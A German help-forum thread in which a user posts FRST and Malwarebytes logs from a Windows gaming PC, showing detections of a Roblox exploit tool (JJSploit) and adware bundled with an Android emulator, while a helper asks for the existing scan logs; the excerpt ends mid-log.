FirewallRules: [{BACE99DA-8979-42DE-B3D0-DD37FAF1A398}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Poppy Playtime\PlaytimeLauncher\PlaytimeLauncher.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{E3AF1E09-10A4-4EC8-92EB-5DC4AC53B8E2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Long Drive\TheLongDrive.exe () [Datei ist nicht signiert]
FirewallRules: [{5C6B1A02-4E42-421B-B884-F27380670E6D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Long Drive\TheLongDrive.exe () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{7220EB16-A86A-469A-ADE3-AE2B15EC7049}C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe] => (Block) C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [TCP Query User{6D4A5FDD-1018-4E6D-A3D6-4F88CD639180}C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe] => (Block) C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{CA3EAD43-1DF9-4D3C-8B2D-48B714B5AB94}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\ZooKeeperSimulator\ZooKeeperSimulator.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{C28C7F7A-52A7-4D3B-9AF0-151F82281523}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\ZooKeeperSimulator\ZooKeeperSimulator.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{E5C35848-0A03-4479-9A2C-A0511246422B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Wobbly Life\Wobbly Life.exe () [Datei ist nicht signiert]
FirewallRules: [{B723B7C1-F45C-4329-9DA8-4C86E248C903}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Wobbly Life\Wobbly Life.exe () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{327E7652-0DEE-4ACE-B0F8-7096C012C04D}C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe] => (Block) C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{B382FEA3-0738-4301-99D0-DEC7F040FCFA}C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe] => (Block) C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{9A9C2154-5825-42E2-ACB5-BA59ABDADEED}C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe] => (Block) C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe (Psyonix, LLC -> Psyonix, LLC)
FirewallRules: [TCP Query User{23CC3BF9-DE63-4B73-B3AD-C22A5A38F4C1}C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe] => (Block) C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe (Psyonix, LLC -> Psyonix, LLC)
FirewallRules: [{877B06FF-390B-4CC8-8F4A-1A289331772D}] => (Allow) C:\Users\wigla\AppData\Local\Packages\B9ECED6F.ArmouryCrate_qmba6cd70vzyy\LocalState\GridUpdateFile\ASUSGCDriverUpdateClient.exe (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
FirewallRules: [{BA6D1090-E9D1-41DB-8320-0126F58E1344}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{97AB5679-CF8D-4E5F-AEFF-E2CDFBF7DC2F}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{F5C90001-E224-40FE-B773-34444A4EEF8B}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{2CAAF5FE-8EDC-4ADF-9EB2-22DB8BEA74DD}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{BFE95781-BA74-44DF-8908-78F4FB02B04B}] => (Allow) C:\program files\asus\aacambienthal\aacambientlighting.exe (ASUSTeK COMPUTER INC. -> )
FirewallRules: [{2A58BEC7-29CC-42C2-B7AC-D8684B2511C1}] => (Allow) C:\Program Files\ASUS\AacAmbientHal\AacAmbientLighting.exe (ASUSTeK COMPUTER INC. -> )
FirewallRules: [{AEB390BF-41BA-4E44-BDC9-CE9CBA197FF6}] => (Allow) C:\Users\wigla\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => Keine Datei
FirewallRules: [{F8682749-6C56-4382-AAED-FCE1454BBDC4}] => (Allow) C:\Users\wigla\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => Keine Datei
FirewallRules: [{8ACAE59A-C9C9-4996-85A7-E346E8732795}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation)
FirewallRules: [{A4AE8D12-56FB-4EEE-8594-C7AB430CB1F8}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation)
FirewallRules: [{F066EB87-2034-4D04-866E-5A8C65F31A4A}] => (Allow) C:\Program Files\WindowsApps\MSTeams_24295.605.3225.8804_x64__8wekyb3d8bbwe\ms-teams.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{970FE892-2FB3-46D6-9535-94C38EF869C1}] => (Allow) C:\Program Files\WindowsApps\MSTeams_24295.605.3225.8804_x64__8wekyb3d8bbwe\ms-teams.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [TCP Query User{C67296D0-BF1B-445E-B335-F2FC9D233167}C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe] => (Block) C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{3CC6CE03-89C4-45D1-906A-10A34868BF71}C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe] => (Block) C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{776F6CE4-B395-4CA4-8800-1CA9CA6C1AC9}C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe] => (Block) C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe (Epic Games Inc. -> Epic Games)
FirewallRules: [UDP Query User{EBF03481-823F-4A79-80C9-3A261E8B52C1}C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe] => (Block) C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe (Epic Games Inc. -> Epic Games)
FirewallRules: [TCP Query User{541E4B26-AA37-45C4-A0F7-65E83656A0E0}C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe] => (Block) C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{94F895F9-6094-4CC9-A5A4-A59BA111B8D1}C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe] => (Block) C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [{41274B29-CA1B-4470-8AEB-2FB73C72161D}] => (Allow) C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
FirewallRules: [{BDD7B13F-7955-4B52-9978-779C8C5C4D15}] => (Allow) C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
FirewallRules: [{E579C5B8-3253-4F32-BBA1-CD3A5A777B5A}] => (Allow) C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.)
FirewallRules: [{9BA2C92A-4CD0-4E5D-A335-6483FDEC989E}] => (Allow) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmourySocketServer.exe (ASUSTeK COMPUTER INC. -> ASUS)
FirewallRules: [{1D4022D4-21FC-43D0-A79C-C4C035CB3E0D}] => (Allow) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmouryHtmlDebugServer.exe (ASUSTeK COMPUTER INC. -> ASUS)
FirewallRules: [{799884AC-3DBD-4F1A-9226-7B9775486FAC}] => (Allow) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\131.0.2903.146\msedgewebview2.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{33C5D39C-F456-4BEF-949D-51372EBCBB75}] => (Allow) C:\Program Files\Voicemod V3\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc.)
FirewallRules: [{97F3B4EE-076F-452E-B322-9F0B87244780}] => (Allow) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc., Sucursal en España)
FirewallRules: [{DD92E831-D89A-43E6-8F49-2ED0AC95DB8F}] => (Allow) C:\Program Files\Voicemod V3\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc.)
FirewallRules: [{52C38998-8F76-4D3F-84E3-1586C2148B3B}] => (Allow) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc., Sucursal en España)
FirewallRules: [{0d27ccc0-d702-4fb5-b953-d278d7154a88}] => (Allow) C:\Program Files\ldplayer9box\Ld9BoxHeadless.exe => Keine Datei
FirewallRules: [{1d86223d-70e0-4733-9648-33178197d18c}] => (Allow) C:\Program Files\ldplayer9box\VBoxNetNAT.exe => Keine Datei
FirewallRules: [{f83d3acb-4726-471f-9c48-db50f115117e}] => (Allow) C:\LDPlayer\LDPlayer9\dnplayer.exe => Keine Datei

==================== Wiederherstellungspunkte =========================

17-01-2025 20:04:46 Removed JJSploit
18-01-2025 21:42:36 Installed JJSploit

==================== Fehlerhafte Geräte im Gerätemanager ============
Name: Sonic Studio Virtual Mixer
Description: Sonic Studio Virtual Mixer
Class Guid: {4d36e96c-e325-11ce-bfc1-08002be10318}
Manufacturer: Nahimic
Service: AVoluteSS3Vad
Problem: : Windows cannot initialize the device driver for this hardware. (Code 37)
Resolution: The driver returned failure from its DriverEntry routine. Uninstall the driver, and then click "Scan for hardware changes" to reinstall or upgrade the driver.


==================== Fehlereinträge in der Ereignisanzeige: ========================

Applikationsfehler:
==================
Error: (01/20/2025 10:51:04 AM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 09:50:40 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 520e7697-dfaf-4c4b-b588-e21fb9d799e2

Methode: GET(250ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/20/2025 10:51:01 AM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 09:50:36 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: d731b05e-140d-4851-9df2-e083e753c642

Methode: GET(282ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/20/2025 10:51:00 AM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für Lokales System über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 09:50:35 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 5adf0ddb-278b-418e-8803-2bb63227aef6

Methode: GET(484ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/19/2025 09:23:05 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Sun, 19 Jan 2025 20:22:42 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: ea50b7ed-439e-4f97-a32c-fea740efa204

Methode: GET(203ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/19/2025 09:23:05 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für Lokales System über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Sun, 19 Jan 2025 20:22:42 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: cca6e93d-a862-4b15-863f-4d7dc8ea9d9c

Methode: GET(265ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/19/2025 09:23:05 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Sun, 19 Jan 2025 20:22:42 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 62110f8b-8f6e-4098-93ec-56b320099cec

Methode: GET(265ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/19/2025 02:18:55 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Sun, 19 Jan 2025 13:18:32 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 98b9a3cf-c603-442f-b45c-c51bbfc9ea04

Methode: GET(218ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/19/2025 02:18:51 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Sun, 19 Jan 2025 13:18:30 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 6987ed50-d373-4e76-9208-59293f0f6a79

Methode: GET(204ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)


Systemfehler:
=============
Error: (01/19/2025 09:23:26 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:23:25 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:23:24 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:23:24 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:23:23 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:23:22 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:23:21 PM) (Source: DCOM) (EventID: 10010) (User: EMIL)
Description: Der Server "{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (01/19/2025 09:22:57 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: Das System wurde zuvor am ‎19.‎01.‎2025 um 20:58:42 unerwartet heruntergefahren.


Windows Defender:
================
Date: 2025-01-18 13:41:24
Description:
Die Microsoft Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet.
Überprüfungs-ID: {F36515C7-22F6-4659-9F8E-19F7CACE3F22}
Überprüfungstyp: Antimalware
Überprüfungsparameter: Schnellüberprüfung
Benutzer: Emil\wigla

Date: 2025-01-17 20:30:37
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUADlManager:Win32/Snackarcin&threatid=412811&enterprise=0
Name: PUADlManager:Win32/Snackarcin
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Users\wigla\Downloads\DependencyCore_329625.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: Konkret
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Program Files\Mozilla Firefox\firefox.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

Date: 2025-01-17 20:20:53
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUA:Win32/GameHack&threatid=242625&enterprise=0
Name: PUA:Win32/GameHack
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Program Files\JJSploit\JJSploit.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: FastPath
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Windows\SysWOW64\msiexec.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

Date: 2025-01-17 20:20:51
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUA:Win32/GameHack&threatid=242625&enterprise=0
Name: PUA:Win32/GameHack
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Program Files\JJSploit\JJSploit.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: FastPath
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Windows\explorer.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

Date: 2025-01-17 20:20:45
Description:
Microsoft Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=PUA:Win32/Vigua.A&threatid=232714&enterprise=0
Name: PUA:Win32/Vigua.A
Schweregrad: Niedrig
Kategorie: Potenziell unerwünschte Software
Pfad: file:_C:\Users\wigla\Downloads\JJSploit_8.10.15_x64_en-US.msi
Erkennungsursprung: Lokaler Computer
Erkennungstype: FastPath
Erkennungsquelle: Echtzeitschutz
Benutzer: Emil\wigla
Prozessname: C:\Windows\System32\msiexec.exe
Sicherheitsversion: AV: 1.421.1407.0, AS: 1.421.1407.0, NIS: 1.421.1407.0
Modulversion: AM: 1.1.24090.11, NIS: 1.1.24090.11

CodeIntegrity:
===============
Date: 2025-01-13 16:31:45
Description:
Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files\Malwarebytes\Anti-Malware\mbamsi64.dll that did not meet the Windows signing level requirements.


==================== Speicherinformationen ===========================

BIOS: American Megatrends Inc. 5302 10/20/2023
Hauptplatine: ASUSTeK COMPUTER INC. ROG STRIX B450-F GAMING II
Prozessor: AMD Ryzen 7 3700X 8-Core Processor
Prozentuale Nutzung des RAM: 27%
Installierter physikalischer RAM: 32668.79 MB
Verfügbarer physikalischer RAM: 23560.37 MB
Summe virtueller Speicher: 34716.79 MB
Verfügbarer virtueller Speicher: 19657.24 MB

==================== Laufwerke ================================

Drive c: () (Fixed) (Total:930.63 GB) (Free:397.1 GB) (Model: Samsung SSD 980 1TB) NTFS

\\?\Volume{bf16dbd3-0ee1-4bba-ad9e-e7109a40da3a}\ () (Fixed) (Total:0.76 GB) (Free:0.23 GB) NTFS
\\?\Volume{915ec8a1-99fc-41c4-9473-4053e95ce320}\ () (Fixed) (Total:0.09 GB) (Free:0.06 GB) FAT32

==================== MBR & Partitionstabelle ====================

==========================================================
Disk: 0 (Protective MBR) (Size: 931.5 GB) (Disk ID: 00000000)

Partition: GPT.

==================== Ende von Addition.txt =======================

cosinus 20.01.2025 13:46
Da ist Malwarebytes installiert. Bitte alle Logs mit Funden posten. (Keinen neuen Scan machen, nur schon vorhandene Logs posten!)

Pun99 20.01.2025 15:41
Ich habe da jetzt ein paar angehängt, gibt es eine Möglichkeit alle auf einmal zu exportieren?
So ist das ziemlich aufwändig.

Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 19.01.2025
Scan-Zeit: 02:02
Protokolldatei: 1ab91d14-d601-11ef-a8ad-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94656
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\wigla

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 130794
Erkannte Bedrohungen: 6
In die Quarantäne verschobene Bedrohungen: 6
Abgelaufene Zeit: 2 Min., 23 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 0
(keine bösartigen Elemente erkannt)

Modul: 1
PUP.Optional.ChinAd, C:\USERS\WIGLA\APPDATA\ROAMING\XUANZHI9\LDOPENGL32X.DLL, In Quarantäne, 637, 1287204, 1.0.94656, , ame, , 6C03777B6AD3D02E1A3D618E7EE4FEC6, 961E8A446D43764DC948C71902BE2CA5F9784FB9C046313EDA267B19C34439B8

Registrierungsschlüssel: 0
(keine bösartigen Elemente erkannt)

Registrierungswert: 0
(keine bösartigen Elemente erkannt)

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 0
(keine bösartigen Elemente erkannt)

Datei: 5
PUP.Optional.ChinAd, C:\LDPLAYER\LDPLAYER9\LDPLAYER.EXE, Löschen bei Neustart, 637, 1287204, 1.0.94656, , ame, , ,
PUP.Optional.ChinAd, C:\LDPLAYER\LDMUTIPLAYER\DNMULTIPLAYEREX.EXE, Löschen bei Neustart, 637, 1287204, 1.0.94656, , ame, , B6FD42D74DD6D81E4D54CE86C1B0901E, CBDF056F35C446C9AE6270E0DAE48F5E5DCA736F0FC8293EC55D13D5AF1CCB6C
PUP.Optional.ChinAd, C:\USERS\WIGLA\APPDATA\ROAMING\Microsoft\Windows\Start Menu\LDMultiPlayer.lnk, Löschen bei Neustart, 637, 1287204, 1.0.94656, , ame, , 53FC8BD42A3DE1A1227440D2E96DCB91, 97F927AE1AE360F587C9CA6042E1715EDA72CB1404533543A0B69AF571D0F08A
PUP.Optional.ChinAd, C:\USERS\WIGLA\DESKTOP\LDMultiPlayer.lnk, Löschen bei Neustart, 637, 1287204, 1.0.94656, , ame, , 54AF781E684E7E63602FEB671A6AE2D8, 53EC714412F44FB6D006A34111A5D9BE354B471CFE19CBCADDDC65DB1C47CD52
PUP.Optional.ChinAd, C:\USERS\WIGLA\APPDATA\ROAMING\XUANZHI9\LDOPENGL32X.DLL, Löschen bei Neustart, 637, 1287204, 1.0.94656, , ame, , 6C03777B6AD3D02E1A3D618E7EE4FEC6, 961E8A446D43764DC948C71902BE2CA5F9784FB9C046313EDA267B19C34439B8

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 17.01.2025
Scan-Zeit: 20:33
Protokolldatei: e6f50878-d509-11ef-a964-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94594
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 144545
Erkannte Bedrohungen: 34
In die Quarantäne verschobene Bedrohungen: 0
